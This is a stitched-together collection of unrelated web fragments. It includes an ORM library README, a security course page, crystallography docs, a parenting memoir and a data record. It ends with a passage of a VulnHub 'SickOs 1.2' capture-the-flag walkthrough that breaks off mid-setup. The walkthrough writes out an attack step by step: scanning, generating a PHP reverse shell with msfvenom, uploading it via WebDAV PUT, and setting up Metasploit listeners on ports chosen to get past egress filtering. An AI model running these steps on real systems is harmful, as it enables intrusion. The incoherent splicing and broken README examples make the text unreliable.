Update Info
Select gender:
Male
Female
Select all your faourites
Cupcake
Fruit Cake
Ice Cream Cake
Select flavour
Select One
Vanilla
Pineapple
Garlic


- 12
You have 32 new messages
- binjal is posted an article. lacus est congue... 12 hours ago
- sharmin is posted an article. lacus est congue... 12 hours ago
- shusi is posted an article. lacus est congue... 12 hours ago
- jamjam is posted an article. lacus est congue... 12 hours ago
- sinha is posted an article. lacus est congue... 12 hours ago
Google Chart
- Library
- Chart


Get Started
Oraios Queries is a light-weighted project aims to create an ORM for Databases queries (especially Relational Databases that performs flexible WHERE statements) to help developers create model classes for tables and query them using functions rather than plain string that is error-prune once the query start to gets a little long.
Currenlty, the package supports Postgres and Mysql
Installation
$ npm install --save oraios-queries
Configuration
Connect to your database using pg
or mysql2
package, then attach your connection
with node-db-models:
Postgres
const Pg = require("pg");
const { Connection } = require('oraios-queries');
//pg package init
let pgModConn = new Pg.Pool({
host: '<IP_ADDRESS>',
user: 'admin',
database: 'sampledb',
password: '*******',
port: 5432
});
//oraios init :)
let conn = new Connection({
connection: pgModConn,
type: 'pg'
});
MySQL
const mysql = require('mysql2');
const { Connection } = require('oraios-queries');
//mysql2 package init
const mysqlConn = mysql.createPool({
host: '<IP_ADDRESS>',
user: 'admin',
password: '*****',
database: 'sampledb',
waitForConnections: true,
connectionLimit: 10,
queueLimit: 0
});
//oraios init :)
let conn = new Connection({
connection: mysqlConn,
type: 'mysql'
});
Creating an object for the connection enables multiple db connections.
Models
Let's create models for our databse tables that will extend Model
class that we imported above:
const { Model, Util } = require('oraios-queries');
class Post extends Model {
tableName = 'posts';
allowHtml = ['body'];
selectable = ['title', 'body', 'author_id', 'created_at::date'];
connection = conn;
primaryKey = 'uuid'; //optional, default value is 'id'
//optional default values setup
defaultValue = {
onInsert: {
created_at: Util.timestamp(),
updated_at: Util.timestamp()
},
onUpdate: {
updated_at: Util.timestamp()
}
}
}
module.exports = new Post();
| Field | Description | Is Required? |
|---|---|---|
| tableName | The name of the table which this class represents. | YES |
| connection | Pass the connection object after initiating new Connection() . |
YES |
| allowHtml | Oraios strip html tags from all fields before storing to DB. If you do not want that for certain tags include them in this array. | NO |
| selectable | Select those column by default when select() method is not invoked. If not used
SELECT * will be implemented. |
NO |
| defaultValue | If you want to add values that will be inserted automatically on insert or update, you can use this
field. Optimal situation of using this field would be changing or saving created_at and
updated_at columns with current timestamp |
NO |
| primaryKey | Identifies the primary key of this table in case it's not id . By default, it is set as
id . |
NO |
Query Builders
Now since you created your model(s). It's time to import the object of that class and start building queries:
const post = require('./post.js');
let postQuery = post.select(['title', 'body', 'created_at::date'])
.where(["created_at", ">", "2019-01-01" ]);
//some code ..
postQuery = postQuery.orderBy([
{col: 'id', order: 'desc'}
]);
The above code builds your query, but does not execute it. You are free to chain to add to the query. You can use one of the following:
| Methods | Description | Example |
|---|---|---|
| select(columns) | Passes an array of columns to your query builder. | select(['title', 'body', 'created_at::date']) |
| where(conditions) |
Accepts 2 cases:
cond could be another object that can contain another
relation/cond object and so on.
|
where({ |
| orderBy(orderList) | Accepts an array of objects where you can add a list of order columns and order directions | orderBy([{col: 'id', order: 'desc'},{col: 'created_at', order: 'asc'}]) |
| groupBy(groupList) | Accepts a list of columns you can group by | groupBy(['author_id', 'post_id']) |
| set(values) | A key value pairs of data that will be inserted or updated. Used only with insert and
update . |
set({title: 'another blog post'}) |
| setMany(values_list) | A list of key value pairs of data that will be inserted as bulk of rows. Used only with
insert . |
setMany([{title: 'blog post'}, {title: 'another blog post'}]) |
| innerJoin(m, l, r) leftJoin(m, l, r) rightJoin(m, l, r) |
The 3 methods performs inner, left and right joins (respectively) between the current model and another
model.
|
user.innerJoin(post, 'id', 'post_author') |
| toString() | if included the query will not be executed. Instead, the query string will be returned. | - |
Query Executers
After the query is built, you are expected to chain a method that tells the query execution class how do you want the data to be returned.
let postResults = await postQuery.list();
All the following methods return a promise:
| Methods | Description | Example |
|---|---|---|
| list() | Lists all results found in the form of array of objects. | postQuery.list() |
| count() | Counts the number of queried items. | postQuery.count() |
| col(column_name) | Returns an array of values of a certain column. | postQuery.col('title') |
| listAfter(offset) | Skip an offset amount of values and then list all values after it. | postQuery.listAfter(5) |
| firstOne() | Returns an object of the first row that meets conditions specified. | postQuery.firstOne() |
| find(id) | Returns an object of a certain model using it's id. | postQuery.find(25) |
| slice(skip, count) | Returns a count amount of rows after skipping another amount of rows. | postQuery.slice(10, 10) |
| first(count) | Return the first amount of rows that meets conditions specified. | postQuery.first(10) |
| paginate(perPage, currentPage) | Paginate through your results by passing rows per page and your current page. | postQuery.paginate(10, 2) |
| chunk(count, callback) | Instead of returning all elements in one chunk, you can process them in pieces using this method. You can pass the amount per chunk and the callback function to specify what you want to do for each chunk. | postQuery.chunk(50, (rows) => { |
| insert() | Get chained after set(data) to insert data into database. The returned value is the id of the inserted row. | post.set({title: 'sample title', body: 'sample body'}).insert() |
| update() | Get chained after set(data) and a group of where() conditions to update certain rows in database. | post.set({title: 'sample title', body: 'sample body'}).insert() |
| updateOrInsert() | Tries to apply an update. If no rows get updated, then it will create a new row with the data to be updated. Make you that you are including all required columns. |
post.set({title: 'sample title', body: 'sample body'}).where(['id', '=', 5]).updateOrInsert()
|
| delete() | Get chained after a group of where() conditions to delete certain rows in database. | post.where(['id', '=', 5]).delete() |
Utilites
There are some utility functions that are provided to give your query more flexiblity:
const { Util } = require('oraios-queries');
let postQuery = post.select(['title', 'body', 'created_at::date'])
.where(["created_at", ">", Util.raw("now() - INTERVAL '30 day'") ]);
| Function | Description | Example |
|---|---|---|
| raw(sql) | Added in the value section of a where statement to replace a matched value to native SQL code. | Util.raw("now() - INTERVAL '30 day'") |
| distinct(col) | Added as one of the selected columns in select() method to return only one unique value of this column.
Basically, applies DISTINCT ON() . |
Util.distinct('author_id') |
| timestamp(Date date) | This utility function returns a formatted timestamp YYYY-MM-dd hh:mm:ss That you can use in
all kind of queries |
The utilities is a new section that was just added in the latest version. More function is coming in the future.
Code Examples
Inserting new row to database:
let insertedId = await post.set({title: 'blog post', body: 'Hello World'}).insert();
if(insertedId){
//success
}
Inserting multiple rows to database:
let insertedRows = await post.setMany([
{title: 'blog post', body: 'Hello World'},
{title: 'blog post 2', body: 'Hello Oraios'}
]).insert();
if(insertedRows > 0){
//success
}
Updating certain rows in database:
let affectedRows = await post.set({title: 'another blog post'}).where(['id', '=', 25]).update();
if(affectedRows !== 0){
//update successful
}
Deleting a row in database:
let rowDeleted = await post.where(['id', '=', 25]).delete();
if(rowDeleted !== 0){
//delete successful
}
Find a row by id in database:
let row = await post.find(25);
Chunk the data to loop through groups of data:
let row = await post.find(25);
Perform a query with joins:
let postQuery = post.list();
await postQuery.chunk(50, (posts) => {
for(const post of posts){
console.log(`This is post #${post.id}`);
}
});
Select query with conditions using AND & OR with grouping:
let conditions = nestedConditions = { cond: [] };
conditions.relation = 'AND';
conditions.cond.push(["created_at::date", ">", "2019-01-01" ]);
conditions.cond.push(["author_id", "=", 25 ]);
//include a nested condition
nestedConditions.relation = 'OR';
nestedConditions.cond.push(['created_at::date', ">", "2019-05-01"]);
nestedConditions.cond.push(['created_at::date', "<", "2019-10-01"]);
//add nested condition into the list of conditions
conditions.cond.push(nestedConditions);
let postQuery = post.select(['created_at::date', 'count(*) as posts'])
.where(conditions)
.groupBy(['created_at::date'])
.orderBy([{col: 'created_at::date', order: 'desc'}]);
let postRes = await postQuery.list();
The previous statement will produce a query like this:
SELECT created_at::date, count(*) as posts
FROM posts
WHERE (
created_at::date > "2019-01-01" AND
author_id, "=", 25 AND
(
created_at::date > "2019-05-01" OR
created_at::date < "2019-10-01"
)
)
GROUP BY created_at::date
ORDER BY created_at::date desc;


System Architect Picture "Access Group For Information"
Parent Diagram:
Agent Access Group
(UML Class)


ECS 153 (Spring 2020)
Computer Security: Online edition
General information
| Information | Details |
|---|---|
| Lecture time and location | Monday, Wednesday, and Friday from 9am - 9:50am on Zoom and Slack |
| Instructor | Sam King<EMAIL_ADDRESS>|
| Sam's Office Hours | Wed from 11-11:30 via Zoom (see Canvas for details) |
| TA | Dhruvatara Bhogishetty<EMAIL_ADDRESS>and Lukas Masopust<EMAIL_ADDRESS>|
| TA Office Hours | None |
| Final | No final exam! |
| Canvas | https://canvas.ucdavis.edu/courses/452023 |
| Piazza | https://piazza.com/class/k8e1o8v0r199h |
Overview
This class focuses on computer security, but due to COVID-19 we are going to teach it completely online. Given the online nature of this class, I am moving away from a more traditional computer security class for undergrads and towards a "Big ideas in computer security" class instead. To try to make the transition to online as smooth as possible, we will follow these principles:
- All of our material, except for quizzes, will be available asynchronously. We will have lectures and discussions in these lectures, but we will also record them so that students who have techical difficulties or otherwise can not attend can still see the material.
- We will provide high quality materials for students to consume at their own pace, usually in the form videos of authors of papers presenting about their own material.
- Our primary goal is to expose you to interesting aspects of modern computer security in the first part of the course. We might shift to more traditional material in the second half (specifically applied cryptography) or we might continue with the whole big ideas theme.
- We will have a final group project, but will maintain a significantly lower bar for scope then we have in past quarters.
The prerequisite for this class is undergraduate operating systems.
Lectures
Some of the material that we cover is fairly advanced. Don't worry -- we don't expect you to understand everything based off of a video. We will use lecture time to cover the basics. I do, however, think that it's important to try to understand the material ahead of time as it will make the explainations during lecture time make more sense.
You are responsible for knowing about all announcements made in lecture. We will discuss expectations about the project, suggestions for how to succeed, and grading guidelines in class, and general class policy issues, so make sure you don't miss any lectures.


--- layout: post title: Installing OpenCV date: type: post published: false status: draft categories: [] tags: [] meta: {} author: login: Sandeep email: '' display_name: Sandeep first_name: '' last_name: '' ---
1) Install macports from


This is a static HTML page that displays a gallery of images hosted on the website.
These images are from https://www.pexels.com/ and https://unsplash.com/


--- title: Defining Orientations sidebar: documentation_sidebar permalink: OrientationDefinition.html folder: documentation toc: false ---
This sections covers the definition of orientations as MTEX variables. The theoretical definition can be found in the section Theory and MTEX vs Bunge Convention.
Technically, a variable of type orientation is nothing else then a rotation that is accompanied by a crystal symmetry. Hence, all methods for defining rotations (as explained here) are also applicable for orientations with the only difference that the crystal symmetry has to be specified in form of a variable of type crystalSymmetry.
{% highlight matlab %} % load copper cif file cs = crystalSymmetry.load('Cu-Copper.cif') {% endhighlight %} {% highlight plaintext %} cs = crystalSymmetry mineral : Copper symmetry: m-3m elements: 48 a, b, c : 3.6, 3.6, 3.6 {% endhighlight %}Most importantly we may use Euler angles to define orientations
{% highlight matlab %} ori = orientation.byEuler(30*degree,50*degree,10*degree,cs) {% endhighlight %} {% highlight plaintext %} ori = orientation (Copper → xyz) Bunge Euler angles in degree phi1 Phi phi2 30 50 10 {% endhighlight %}or a 3x3 rotation matrix
{% highlight matlab %} M = eye(3) ori = orientation.byMatrix(M) {% endhighlight %} {% highlight plaintext %} M = 1 0 0 0 1 0 0 0 1 ori = orientation (1 → xyz) Bunge Euler angles in degree phi1 Phi phi2 0 0 0 {% endhighlight %}Another common way to specify an orientation is by the crystal directions point towards the specimen directions Z and X. This can be done by the command byMiller. E.g. in order to define the GOSS orientation (011)[100] we can write
{% highlight matlab %} orientation.byMiller([0 1 1],[1 0 0],cs) {% endhighlight %} {% highlight plaintext %} ans = orientation (Copper → xyz) Bunge Euler angles in degree phi1 Phi phi2 0 45 0 {% endhighlight %}Note that MTEX comes already with a long list of predefined orientations.
To simulate random orientations we may apply the same syntax as for rotations and write
{% highlight matlab %} ori = orientation.rand(100,cs) {% endhighlight %} {% highlight plaintext %} ori = orientation (Copper → xyz) size: 100 x 1 {% endhighlight %}If one needs to consider also specimen symmetry this can be defined as a variable of type specimenSymmetry and passed as an additional argument to all commands discussed above, e.g.,
{% highlight matlab %} % define orthotropic specimen symmetry ss = specimenSymmetry('orthorhombic') % define a corresponding orientation ori = orientation.byEuler(30*degree,50*degree,10*degree,cs,ss) {% endhighlight %} {% highlight plaintext %} ss = orthorhombic specimenSymmetry ori = orientation (Copper → xyz (mmm)) Bunge Euler angles in degree phi1 Phi phi2 30 50 10 {% endhighlight %}Symmetrisation will now result in a very long list of symmetrically equivalent orientations
{% highlight matlab %} ori.symmetrise {% endhighlight %} {% highlight plaintext %} ans = orientation (Copper → xyz (mmm)) size: 384 x 1 {% endhighlight %}


LearnOpad
Home
(current)
Categories
Free Content
Login
Sign Up
Popular Courses
Html5
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Warlord
Full Stack Web Developer,IT
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Dhruv Goswami
Professional product developer,IT
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Dhruv Goswami
Professional product developer,IT
Previous
Next
CSS3
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Warlord
Full Stack Web Developer,IT
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Dhruv Goswami
Professional product developer,IT
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Dhruv Goswami
Professional product developer,IT
Previous
Next
Nodejs
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Warlord
Full Stack Web Developer,IT
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Dhruv Goswami
Professional product developer,IT
Arunima M
Lead Consultant,IT
Dhruv Goswami
Professional product developer,IT
Dhruv Goswami
Professional product developer,IT
Previous
Next


Interface IGroupControllerApi
Represents a collection of functions to interact with the API endpoints
Inherited Members
Namespace: mailslurp.Api
Assembly: mailslurp.dll
Syntax
public interface IGroupControllerApi : IGroupControllerApiSync, IGroupControllerApiAsync, IApiAccessor


“Scott! I need you!!”
“Oh, Meg’s calling me, I got to go. I’ll talk to you later sis.”
I could tell from the sound in her voice what had happened. I ran over to the bathroom, and the look on her face just confirmed it.
“I think my water broke. I don’t know what else it could be.”
I ran to the refrigerator and got the midwives’ card with their emergency number on it. We got the midwife on the phone and she congratulated us and gave us some expectation of what’s to come. She said it was good news, since it was 10:30 at night. Meg could take a bath to help with the ensuing contractions and try to get some sleep. Once the contractions wake her up and she can’t sleep through them, she said to give her another call.
Sleeping through most of the early labor sounded good to both of us.
I picked Theo up and was changing his diaper. It was around 6 or so in the morning. He had slept pretty well, but once I had him on the table, I noticed his legs looked like they may be a little bruised. I grabbed diaper, one of the ones from our baby shower and changed him. This one said “You can do it Dad!”. I wish we had kept track of who wrote what message on them!
I walked into the living room with Meg, “Hey, his legs are looking more bruised. I don’t how this could have happened. Was it the car seat? We didn’t have it THAT tight.. Are babies just that sensitive?”.
Two days earlier we took him home from the hospital in a taxi. We had trouble getting him in the car seat since he was so long and none of us had ever used a car seat. We got from the nurse, and he was in but it was definitely a tight fit.
We were growing more concerned at this point. “Let’s make an appointment for the pediatrician today if we can”. We both agreed and made the appointment later in the afternoon.
Meg was holding Theo and despite the bruising he seemed fine and happy. She was talking to him and making faces. She looked down at his little bruised legs and then at his diaper, “You can do it Dad!”. And then back at the bruising, and back at the diaper. The writing was in blue sharpie..
She called me over and we tried rubbing of the ink from his skin, and off it came. Holy shit, he’s fine.. and for two days we thought we were the worst, accidentally abusive, parents. We’d worried if we were breaking him on day 2, how will he ever live to grow up!
The rest of those diapers immediately landed in the trash can.
I had the app open, “Contraction Master”. What a name.
“Ok, tell me when to start”.
“Now”
I started the timer and waited. Thirty seconds came and I expected her to tell me when to stop. It kept going and it got to a minute.
“Ok, it’s over now”.
A minute seemed a little long. I remember the classes we took, it should start off easy, like 30 seconds, and those should last for an hour or more. Just a few minutes later, “Ok, another one’s coming!”.
About 40 minutes later I’d timed 5 or so contractions. Almost all of them were over a minute and some later ones were a minute to a minute and a half. I wondered if Meg was feeling them correctly beginning to end? Or was I timing them wrong? We were getting a little worried at this point, it didn’t seem right.
I peaked into the side of Theo’s diaper, “no poop” I said. Meg sat on the bed, reading an article.
“It’s pretty full though, I’ll still change it.” Due to all the stories I’d heard, getting peed on while changing a diaper seemed inevitable. But still, I always stand to the side and never in the line of “fire”. If he was going to get me, he was going to have to go out of his way to do it.
 I was getting his new diaper ready it happened.  It left the changing pad, the edge of the changing table, and traveled another foot and a half, straight into the mesh siding of the bassinet, splitting into smaller streams of poop.
My eyes were wide open and I just stared, frozen in place. I must have said something because Meg noticed and came running over. What amazing team work we had, without saying much we literally leapt into action. Meg’s leap landed a little bit into the poop puddle on the floor, but it was ok, because we were on this!
I used 5, maybe 10 wipes to furiously clean up his butt, and also the changing pad. Thank God we got the kind that doesn’t need a cloth cover! It’s amazing how difficult it is to wipe up poop from the changing pad while keeping his kicking legs from getting in it all over again.
Meg worked on the floor, this required some heavy duty paper towels, and several wet wipes to finish the job. Then came the bassinet, the poor poor bassinet. After some soap and water, you could still see some yellow staining if you knew where to look. But what else could we do? Theo made his bed, and now he’ll have to lie in it too.
We had called the midwife again, the other one had finished her shift and Jo had just started. She said to call back when Meg could not talk through a contraction any more. She was visibly in a lot of pain, and it was hard for me to imagine a contraction with so much pain she couldn’t talk through it. Her water broke about an hour and a half ago. We were supposed to be sleeping through the night. We hadn’t even been finished our dinner back from when all of this started.
Her contractions were coming faster and faster, and the bath did not help. She was now sitting on the toilet when a particularly intense one hit. She was sitting there because she was feeling nauseous and the tub was close by. She writhed in pain and then vomitted in the tub.  So much so that I also had a heaping of guilt on top. We called the midwife yet again. I’m sure she loved hearing back from us so soon. This time we had her on the phone again and when another contraction came. She was able to hear Meg through it all. She could do nothing but scream and cry out. Bent over her face was red and in obvious agony. It was then and only then, after all the long and frequent contractions, after the vomit in the tub, and hearing Meg over the phone that she finally relented.
“I think it would be good now to start getting ready to leave. There’s no rush, and I’ll meet you both at the hospital”.
Theo had just rolled over on his belly, and he just turned four months! He grunted and strained, his face turning red. He reached is arms out and pulled them back. His legs kicked, but were not yet coordinated enough to push off the ground. This little guy was trying to crawl already!
Minutes of this go by and we leave him be, he’s getting the best tummy time workout ever. But his arms are now starting to make some progress, he actually moved a little… He stuck the other arm out and moved again. His legs were still not helping, but here he was, arming crawling, across the floor, grunting and straining the whole way. It was a kind of stubborness and grit that both Meg and I were reminded of ourselves.
We thought we had four more months before the crawling started, but if was finally time. We needed to actually baby-proof the house.
No rush!? No rush?!  Our hospital bag was packed but not all the way. I grabbed a sponge and scooped the puke out of the tub and into a bucket that I could flush down the toilet. We couldn’t leave that there for two days.
 This was really happening. The cab driver was calm, and there was no speeding through red lights or anything. The calmness of the drive I think helped us both calm our nerves a bit. We burst into Labor and Delivery, and in front of the waiting room reception desk, Meg keeled over with another intense constraction. They rushed her to the back, where Jo, our midwife, was already there.
“Oh yes, insurance cards, I have those”.
As she made copies, I looked over. Three other couples, waiting patiently and quietly, were staring at me, looking, all of a sudden, a little more worried. This, they thought, is what it will be like.
This was orginally written in 2017, but I never quite finished it. It is published now, after we have just welcomed our second child, a baby girl, this past December. Reflecting back on these stories, I’ve realized I must have changed Theo thousands of times by now, but I really had no idea what I was doing then. I like that phrase, “changed”, and think it’s apt for parenting. We change them, and they change us.


Id: 88
Name: Cynthia
Status: Alive
Species: Human
Type:
Gender: Female
OriginName: Earth (Replacement Dimension)
OriginUrl: https://rickandmortyapi.com/api/location/20
LocationName: Earth (Replacement Dimension)
LocationUrl: https://rickandmortyapi.com/api/location/20
Image: https://rickandmortyapi.com/api/character/avatar/88.jpeg
Episode: ['https://rickandmortyapi.com/api/episode/8', 'https://rickandmortyapi.com/api/episode/9', 'https://rickandmortyapi.com/api/episode/11', 'https://rickandmortyapi.com/api/episode/25']
Url: https://rickandmortyapi.com/api/character/88
Created: 2017-11-30T21:16:35.633Z


---
layout: post
title: "SickOs: 1.2"
date: 2019-04-15 00:34:01 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, webdav, egress filtering, cron, chkrootkit, suid]
---
Hostname: ubuntu
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/sickos12# nmap -Pn -sT -sV -A -oA sickos12 -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-22 13:44 EDT
Nmap scan report for ubuntu.homenet.dom (<IP_ADDRESS>)
Host is up (0.0041s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 5.9p1
Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
| 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open http lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:D8:A3:27 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 4.09 ms ubuntu.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.22 seconds
Gaining Access
The nmap scan returned the following software versions.
I'm going to start by looking at the HTTP service on TCP port 80. Before actually browsing to the site, though, I'm going to scan the service with nikto.
root@kali:~/Walkthroughs/sickos12# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-04-22 14:06:55 (GMT-4)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26545 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2019-04-22 14:08:43 (GMT-4) (108 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nikto finds surprising little. Guess I'll have to browse to the site to see what's going on.
The default site is equally useless. It only returns an image and a comment that says "NOTHING IN HERE".
Let's see if there are any interesting
HTTP methods supported. We can try to get the methods using curl...
root@kali:~/Walkthroughs/sickos12# curl -sIX OPTIONS --url http://<IP_ADDRESS>
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.10-1ubuntu3.21
Content-type: text/html
Transfer-Encoding: chunked
Date: Mon, 22 Apr 2019 21:08:36 GMT
Server: lighttpd/1.4.28
As well as nmap...
root@kali:~/Walkthroughs/sickos12# nmap -p 80 --script http-methods <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-22 17:14 EDT
Nmap scan report for ubuntu.homenet.dom (<IP_ADDRESS>)
Host is up (0.0016s latency).
PORT STATE SERVICE
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:D8:A3:27 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
Curl doesn't return anything interesting, and nmap just gives us the standard fare.
Time to start brute forcing directories to see if we can find anything. Using wfuzz, I'm able to find two additional locations. One is listable, but empty (/test/). The other is "Forbidden" (/~sys~)... but a request to any directory ending in a tilde (~) returns 403 Forbidden... so that's not helpful.
root@kali:~/Walkthroughs/sickos12# wfuzz -z file,/usr/share/dirb/wordlists/big.txt -t 30 --hc 404 http://<IP_ADDRESS>/FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://<IP_ADDRESS>/FUZZ
Total requests: 20469
==================================================================
ID Response Lines Word Chars Payload
==================================================================
017880: C=301 0 L 0 W 0 Ch "test"
020464: C=403 11 L 26 W 345 Ch "~sys~"
Total time: 26.72272
Processed Requests: 20469
Filtered Requests: 20467
Requests/sec.: 765.9772
The test directory is empty, but let's see if it supports any interesting HTTP methods.
root@kali:~/Walkthroughs/sickos12# curl -sIX OPTIONS --url http://<IP_ADDRESS>/test/
HTTP/1.1 200 OK
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: OPTIONS, GET, HEAD, POST
Content-Length: 0
Date: Mon, 22 Apr 2019 21:18:11 GMT
Server: lighttpd/1.4.28
Ah. Now we are getting somewhere. It looks like the test directory has Web Distributed Authoring and Versioning (WebDAV) enabled. Let's see if we can upload a PHP reverse shell using the PUT method.
First, we'll create our PHP reverse shell using msfvenom.
root@kali:~/Walkthroughs/sickos12# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3033 bytes
Now, we'll use curl to try to upload the file.
root@kali:~/Walkthroughs/sickos12# curl -T rev.php --url http://<IP_ADDRESS>/test/rev.php
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<title>417 - Expectation Failed</title>

417 - Expectation Failed

Hmmm... we are getting a "417 - Expectation Failed" error. Googling this error, we see that we might need to set curl to use HTTP 1.0 with the -0 or --http1.0 option. Let's set that option and try again.
root@kali:~/Walkthroughs/sickos12# curl -v0T rev.php --url http://<IP_ADDRESS>/test/rev.php
* Expire in 0 ms for 6 (transfer 0x563df5706d00)
* Trying <IP_ADDRESS>...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x563df5706d00)
* Connected to <IP_ADDRESS> (<IP_ADDRESS>) port 80 (#0)
> PUT /test/rev.php HTTP/1.0
> Host: <IP_ADDRESS>
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 3033
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Length: 0
< Connection: close
< Date: Mon, 22 Apr 2019 21:43:32 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0
No errors this time. Let's check the site.
Nice! Before clicking on the rev.php file, let's fire up our listeners in Metasploit. I like to start two listeners because the PHP reverse shell doesn't typically stay up very long. Once it is up, I like to start a second shell using perl.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5433
Now let's request our PHP reverse shell using curl.
root@kali:~/Walkthroughs/sickos12# curl --url http://<IP_ADDRESS>/test/rev.php
Hmmm... That didn't seem to work... but why? It is possible the system has egress filtering and won't allow requests on just any port. Maybe if we try to have the reverse shell connect out on TCP port 80 or 443 (common web ports) it will work.
Let's rebuild our PHP reverse shell using msfvenom. This time we'll have it try to connect back to us on TCP port 80.
root@kali:~/Walkthroughs/sickos12# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=80 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 2999 bytes
We'll re-upload rev.php using curl...
root@kali:~/Walkthroughs/sickos12# curl -v0T rev.php --url http://<IP_ADDRESS>/test/rev.php
* Expire in 0 ms for 6 (transfer 0x55751dba7d00)
* Trying <IP_ADDRESS>...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55751dba7d00)
* Connected to <IP_ADDRESS> (<IP_ADDRESS>) port 80 (#0)
> PUT /test/rev.php HTTP/1.0
> Host: <IP_ADDRESS>
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 2999
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Length: 0
< Connection: close
< Date: Mon, 22 Apr 2019 21:53:28 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0
We need to stop our previous listeners in Metasploit and start new ones. Hopefully the target can make outbound requests to 80, 443, and maybe 53. I'll set up listeners for each and we'll try them all.
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 53
LPORT => 53
